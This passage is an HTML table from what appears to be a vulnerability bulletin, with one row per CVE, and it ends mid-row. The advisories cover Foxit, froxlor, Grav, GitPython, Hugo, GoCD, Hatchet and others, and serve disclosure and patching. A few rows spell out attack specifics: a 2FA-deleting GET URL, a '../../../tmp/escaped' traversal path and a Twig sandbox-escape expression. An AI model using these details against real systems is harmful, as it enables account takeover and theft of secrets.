&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;The interface of Foxit PDF Editor/Reader lacks the permission verification for secure reading mode, which allows specially crafted PDFs to trigger external SMB authentication without any security prompts and thereby leak the hash of the user&#039;s credentials.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91796&quot; target=&quot;_blank&quot;&gt;CVE-2026-91796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of malformed image soft-mask data. Insufficient validation of the soft-mask data attribute during image parsing may cause an arithmetic underflow, resulting in an out-of-bounds read and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91807&quot; target=&quot;_blank&quot;&gt;CVE-2026-91807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor Reader&#039;s handling of PDF image objects with inconsistent compression metadata. Insufficient validation during image decoding may result in an undersized buffer and an out-of-bounds read during rendering, causing an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91808&quot; target=&quot;_blank&quot;&gt;CVE-2026-91808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of malformed PDF image masks. Inconsistent image metadata may cause incorrect alpha-channel processing during rendering, resulting in an out-of-bounds read and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91810&quot; target=&quot;_blank&quot;&gt;CVE-2026-91810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of wide strings in embedded PDF JavaScript. Insufficient validation of string-deletion ranges can cause an integer underflow, resulting in an out-of-bounds read and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91817&quot; target=&quot;_blank&quot;&gt;CVE-2026-91817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A signature validation vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of incrementally updated PDF documents. Changes to visible document content may not invalidate the existing signature, allowing attackers to alter signed content and potentially carry out content spoofing while the document continues to appear validly signed.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91814&quot; target=&quot;_blank&quot;&gt;CVE-2026-91814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;When implementing the JavaScript interface, Foxit PDF Editor/Reader did not perform the attribute authorization checks required by the specification. As a result, a trusted malicious PDF could potentially access sensitive content from other documents within the same process and transmit it externally.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91788&quot; target=&quot;_blank&quot;&gt;CVE-2026-91788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Frappe--ERPNext&lt;/td&gt;
&lt;td&gt;Frappe ERPNext versions before 16.34.1 fail to validate that Financial Report Template calculation_formula values reference whitelisted methods before passing them to frappe.call(). Accounts Managers can supply arbitrary dotted Python paths to invoke non-whitelisted internal server-side methods and read their return values.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96672&quot; target=&quot;_blank&quot;&gt;CVE-2026-96672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;froxlor through 2.3.10 disables a user&#039;s two-factor authentication immediately upon an unauthenticated-triggerable GET request to the 2FA management page (e.g. /customer_index.php?page=2fa&amp;amp;action=delete), with no confirmation, re-authentication, or CSRF token. The global CSRF middleware only covers POST/PUT/PATCH/DELETE requests, and the session cookie is set to SameSite=Lax, so a cross-site top-level navigation (link click or redirect) carries the victim&#039;s session and silently clears type_2fa/data_2fa. Both the customer and admin 2FA handlers are affected. An attacker who lures a logged-in panel user into following a crafted link reduces that account to password-only authentication, which can be chained with a compromised password for account takeover. Fixed in 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100712&quot; target=&quot;_blank&quot;&gt;CVE-2026-100712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor versions before 2.3.12 contain a credential disclosure vulnerability in the DirProtections.listing API command that returns htpasswd password hashes. Authenticated API users can retrieve bcrypt password hashes for protected-directory users, enabling offline cracking attempts and exposure of reused credentials.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100719&quot; target=&quot;_blank&quot;&gt;CVE-2026-100719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor through 2.3.10 does not filter sensitive columns from API responses: Domains::get(), Domains::listing(), SubDomains::get(), and the admin branch of SubDomains::listing() perform a wildcard SELECT over the panel_domains table and return the row unmodified, including the panel_domains.dkim_privkey field. An authenticated, non-superadmin admin holding the delegated customers_see_all flag can therefore read the DKIM private signing keys of domains belonging to other tenants via Domains.get, Domains.listing, SubDomains.get, or SubDomains.listing, with a single listing call disclosing the key of every visible domain. The disclosed keys allow an attacker to sign email that passes DKIM verification and DMARC alignment for the affected domains. This is a follow-on to an incomplete fix that stripped password and data_2fa but not dkim_privkey. The issue is fixed in 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100710&quot; target=&quot;_blank&quot;&gt;CVE-2026-100710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gabelivan--Asset CleanUp: Page Speed Booster&lt;/td&gt;
&lt;td&gt;The Asset CleanUp: Page Speed Booster plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.0.5 via the &#039;page_url&#039; parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. This vulnerability is only reachable when the plugin&#039;s dom_get_type setting has been configured to &#039;wp_remote_post&#039; by an administrator.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12037&quot; target=&quot;_blank&quot;&gt;CVE-2026-12037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gardener--gardener&lt;/td&gt;
&lt;td&gt;Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin&#039;s mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79767&quot; target=&quot;_blank&quot;&gt;CVE-2026-79767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Genetec Inc.--Genetec Security Center&lt;/td&gt;
&lt;td&gt;A flaw in the authorization mechanism for Media Gateway API in Genetec Security Center may allow a user with no playback privileges to generate video thumbnails.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65422&quot; target=&quot;_blank&quot;&gt;CVE-2026-65422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav 2.0.0 through 2.0.24 contain a Twig content sandbox escape. The `array` filter (and its identical function form) is on the sandbox allowlist but is registered without the needs_is_sandboxed guard that print_r, vardump, json_encode, yaml_encode and string carry, and its implementation calls toArray() - or falls back to an (array) cast - without consulting the sandbox method allowlist. Because the `grav` Twig global is the raw Pimple-based dependency injection container, a user who can author Twig in page content can evaluate `grav|array` to read the container&#039;s private $values array, including the un-redacted Config service; a second array cast returns the entire configuration tree, disclosing plugin credentials, SMTP and OAuth secrets, Redis passwords, proxy URLs and the security.* subtree that the sandbox&#039;s redaction is meant to hide. Because the payload is stored in page content, the disclosed configuration is rendered to anonymous visitors. Grav 1.7 is not affected as it has no Twig content sandbox. Fixed in Grav 2.0.25.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100668&quot; target=&quot;_blank&quot;&gt;CVE-2026-100668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;grav-plugin-login (the Grav CMS Login plugin) versions &amp;gt;= 3.8.7 and &amp;lt; 3.9.7 allow the two-factor authentication challenge to be bypassed for content gated by the authenticated() Twig function or the [authenticated] shortcode. On sites with 2FA enabled, Login::isAuthenticated() checked only the session flag indicating that the password step had succeeded, not the flag indicating that login had completed, so a session sitting at the 2FA code prompt was treated as fully authenticated. An attacker who knows a member&#039;s password but cannot answer that member&#039;s second factor can therefore read member-only content rendered by the no-argument authenticated() or group authenticated(null, &#039;group&#039;) forms and by [authenticated]; the inverse [guest] shortcode is likewise evaluated too early. Impact is limited to disclosure of that content: the attacker does not obtain a completed session, cannot access pages protected by an access: rule, and cannot act as the user. The authenticated(&#039;some.permission&#039;) form, which goes through UserObject::authorize(), is not affected. Fixed in grav-plugin-login 3.9.7.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100667&quot; target=&quot;_blank&quot;&gt;CVE-2026-100667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GibbonEdu--Gibbon&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GibbonEdu Gibbon up to 30.0.01. The affected element is the function makeBlock of the file modules/Planner/units_add_blockAjax.php of the component Unit Planner. The manipulation of the argument gibbonUnitBlockID/mode leads to missing authentication. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 31.0.00 is sufficient to fix this issue. The identifier of the patch is 07e719368eae8dfb4e22e19424ceab6074164ebc. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97864&quot; target=&quot;_blank&quot;&gt;CVE-2026-97864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user with an MCP-scoped token to perform actions beyond the intended scope of that token due to improper authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92874&quot; target=&quot;_blank&quot;&gt;CVE-2026-92874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to bypass admin-configured AI tool governance controls for workflows in namespaces they do not control due to improper authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92529&quot; target=&quot;_blank&quot;&gt;CVE-2026-92529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to spoof merge request authorship and attribute content to arbitrary existing users on the target instance due to improper reliance on ephemeral cache state during Direct Transfer imports.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92530&quot; target=&quot;_blank&quot;&gt;CVE-2026-92530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gitpython-developers--GitPython&lt;/td&gt;
&lt;td&gt;GitPython before 3.1.62 does not validate the `path` field read from an untrusted .gitmodules file when updating submodules. While a prior fix (GHSA-hmq2-w58f-27jc) added Submodule._validated_name() to constrain the `name` field, and GitPython&#039;s own containment guard Submodule._to_relative_path() is applied in add() and move(), Submodule.update() derives the absolute checkout location from the raw `path` value without that guard. A .gitmodules entry containing directory traversal components (e.g., path = ../../../tmp/escaped) can therefore cause directories to be created via os.makedirs() outside the repository working tree, populated from the submodule URL on the clone path, and removed via shutil.rmtree() when force_remove is used. Exploitation requires an application flow that updates submodules at a non-HEAD commit (such as a historical-commit API); the common clone-then-update flow re-derives the path from a canonical tree lookup and is not affected. The issue is fixed in GitPython 3.1.62.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100689&quot; target=&quot;_blank&quot;&gt;CVE-2026-100689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GiveWP--GiveWP&lt;/td&gt;
&lt;td&gt;The GiveWP WordPress plugin before 4.16.9 does not remove shortcode delimiters from donor-supplied values before rendering them on public pages, and the shortcode stripping it applies can be defeated by nesting, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85113&quot; target=&quot;_blank&quot;&gt;CVE-2026-85113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gladys Assistant--Gladys Assistant&lt;/td&gt;
&lt;td&gt;Gladys Assistant before 5.1.0 contains a password reset link poisoning vulnerability that allows unauthenticated remote attackers to obtain valid password reset tokens for any account by exploiting the client-supplied origin parameter in the forgot_password endpoint without server-side validation. Attackers can send a crafted request specifying an attacker-controlled origin, causing the victim to receive a poisoned reset link that discloses the session token to the attacker, enabling full account takeover including administrator accounts.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93340&quot; target=&quot;_blank&quot;&gt;CVE-2026-93340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Global IT Informatics Technology Services Inc.--Weoll&lt;/td&gt;
&lt;td&gt;Server-Side request forgery (SSRF) vulnerability in Global IT Informatics Technology Services Inc. Weoll allows Server Side Request Forgery. This issue affects Weoll: before 3.2.45.44.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77112&quot; target=&quot;_blank&quot;&gt;CVE-2026-77112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--Gnumeric&lt;/td&gt;
&lt;td&gt;A heap use-after-free flaw was found in Gnumeric. When a user opens a crafted Gnumeric workbook containing a malformed SheetObjectComponent element, the XML parser can dereference a freed sheet-object component, causing Gnumeric to crash.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97222&quot; target=&quot;_blank&quot;&gt;CVE-2026-97222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. Prior to 26.1.0, the internal GoCD UI /jobStatus.json API does not validate that a requested server-assigned job ID belongs to the pipeline and stage named in the request. An authenticated user can guess job IDs and retrieve status for jobs in pipelines the user cannot otherwise view, including job names, state, progress timestamps, assigned agent IP addresses and UUIDs, and associated stages and pipelines. The response does not expose console output, artifacts, commands, variables, or configuration. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52743&quot; target=&quot;_blank&quot;&gt;CVE-2026-52743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 16.1.0 until 26.1.0, the internal material connection test APIs at /go/api/admin/internal/material_test and /go/api/internal/config_repos/*/material_test accept an arbitrary existing pipeline and pipeline-group context without sufficient validation. A pipeline group administrator can invoke Test Connection for source control materials outside the administrator&#039;s authorized pipeline group or configuration repository and potentially use credentials from those materials. For GoCD 20.6.0 and later, the test context can also resolve external secrets managed by secret-management plugins, including global reusable secrets with separate permissions. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55625&quot; target=&quot;_blank&quot;&gt;CVE-2026-55625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal pipeline structure API used for autocompletion while editing pipeline, template, environment, and user-preference configuration returns its users-and-roles mode to regular authenticated users without requiring an administrator role. A lower-privileged user can enumerate configured user names and available role names, which can facilitate attacks against those users. The response does not reveal which roles are assigned to each user, and the endpoint cannot modify data. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55632&quot; target=&quot;_blank&quot;&gt;CVE-2026-55632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo is a static site generator. In versions from v0.56.0 through v0.165.x, content files mapped to the text/org media type are rendered without escaping raw HTML: Org export blocks and @@html:...@@ snippets pass HTML through unescaped, resulting in cross-site scripting (XSS) in the generated site. An attacker who can supply or influence a content file under /content or the output of a content adapter can inject scripts that execute in the browsers of visitors to the affected pages. Only pages whose source file or content-adapter output declares the text/org media type are affected, and sites that fully trust all content sources are not impacted. Version v0.166.0 fixes the issue by introducing a security.allowContent allowlist that denies text/org by default; sites that intentionally author Org Mode content can opt back in with [security] allowContent = [&#039;.*&#039;].&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100694&quot; target=&quot;_blank&quot;&gt;CVE-2026-100694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo versions 0.75.0 through 0.165.x contain a stored cross-site scripting vulnerability: the syntax highlighter does not escape the `lineAnchors` option before passing it to Chroma, which writes the value verbatim into the `id` and `href` attributes of the generated line-number markup. A crafted `lineAnchors` value supplied as a Markdown code fence attribute (or passed to the `highlight` template function) results in unescaped HTML in the rendered page, allowing arbitrary JavaScript to execute in the browsers of visitors to the generated site. This affects sites that build and publish Markdown from untrusted contributors; Hugo&#039;s security model otherwise considers content trusted input. Fixed in 0.166.0, where the `lineAnchors` value is HTML-escaped before being passed to Chroma.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100691&quot; target=&quot;_blank&quot;&gt;CVE-2026-100691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Graylog2--graylog2-server&lt;/td&gt;
&lt;td&gt;Graylog is a free and open log management platform. From 6.3.0 until 6.3.14, 7.0.9, and 7.1.4, the view update API for saved searches and dashboards permits a user with edit permission but without entity ownership to include a shareRequest that grants owner permissions to an arbitrary account. The selected account can then delete the saved search or dashboard or remove the original owner&#039;s access. Graylog Cloud was patched before the advisory was published. This issue is fixed in versions 6.3.14, 7.0.9, and 7.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69190&quot; target=&quot;_blank&quot;&gt;CVE-2026-69190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GTranslate--GTranslate&lt;/td&gt;
&lt;td&gt;The GTranslate WordPress plugin before 5.0.1 does not remove shortcodes from the content of outgoing emails before expanding them which, in a non-default configuration, allows unauthenticated users to have arbitrary shortcodes registered on the site executed server side.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86604&quot; target=&quot;_blank&quot;&gt;CVE-2026-86604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HabitRPG--habitica&lt;/td&gt;
&lt;td&gt;Habitica is a habit tracker application that treats goals like a role-playing game. From 4.172.1 until 5.48.2, a query parameter on Habitica&#039;s /api/v3/groups/:groupId/members route is not sanitized before being interpreted as a regular expression. An authenticated caller can supply a computationally expensive regular expression that degrades application performance or halts Node.js processes. This issue is fixed in version 5.48.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54461&quot; target=&quot;_blank&quot;&gt;CVE-2026-54461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hatchet-dev--hatchet&lt;/td&gt;
&lt;td&gt;Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, api-contracts/openapi/paths/v1/workflow-runs/workflow_run.yaml defines the GET /api/v1/stable/durable-tasks/{durable-task} endpoint implemented by listDurableEventLog without requiring the target tenant as a parent resource, allowing an authenticated user who obtains another tenant&#039;s durable task UUID to read that task&#039;s event log. Disclosed data can include task display names, workflow identifiers, user messages, wait conditions, branching logic, and timing information. This issue is fixed in version 0.91.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63342&quot; target=&quot;_blank&quot;&gt;CVE-2026-63342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hatchet-dev--hatchet&lt;/td&gt;
&lt;td&gt;Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, the SNS UnsubscribeConfirmation handler in internal/integrations/ingestors/sns/sns.go calls http.Get() on payload.UnsubscribeURL after VerifyPayload() even though BuildSignature() excludes UnsubscribeURL, allowing an authenticated Hatchet tenant to replace that field in an otherwise valid AWS-signed message with an internal URL. The server-side request can reach EC2 Instance Metadata Service, internal services, and internal HTTP APIs, potentially exposing IAM credentials or network-accessible data and functionality. This issue is fixed in version 0.91.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61681&quot; target=&quot;_blank&quot;&gt;CVE-2026-61681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hatchet-dev--hatchet&lt;/td&gt;
&lt;td&gt;Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.106.1, the WorkerStatus gRPC polling path in pkg/repository/durable_events.go passes caller-supplied durable task, node, and branch identifiers to ListSatisfiedEntries without a tenant filter, allowing an authenticated tenant worker that knows another tenant&#039;s durable-task UUID to retrieve matching durable event-log records. The UUIDv4 requirement makes exploitation unlikely, and single-tenant deployments are unaffected in practice. This issue is fixed in version 0.106.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
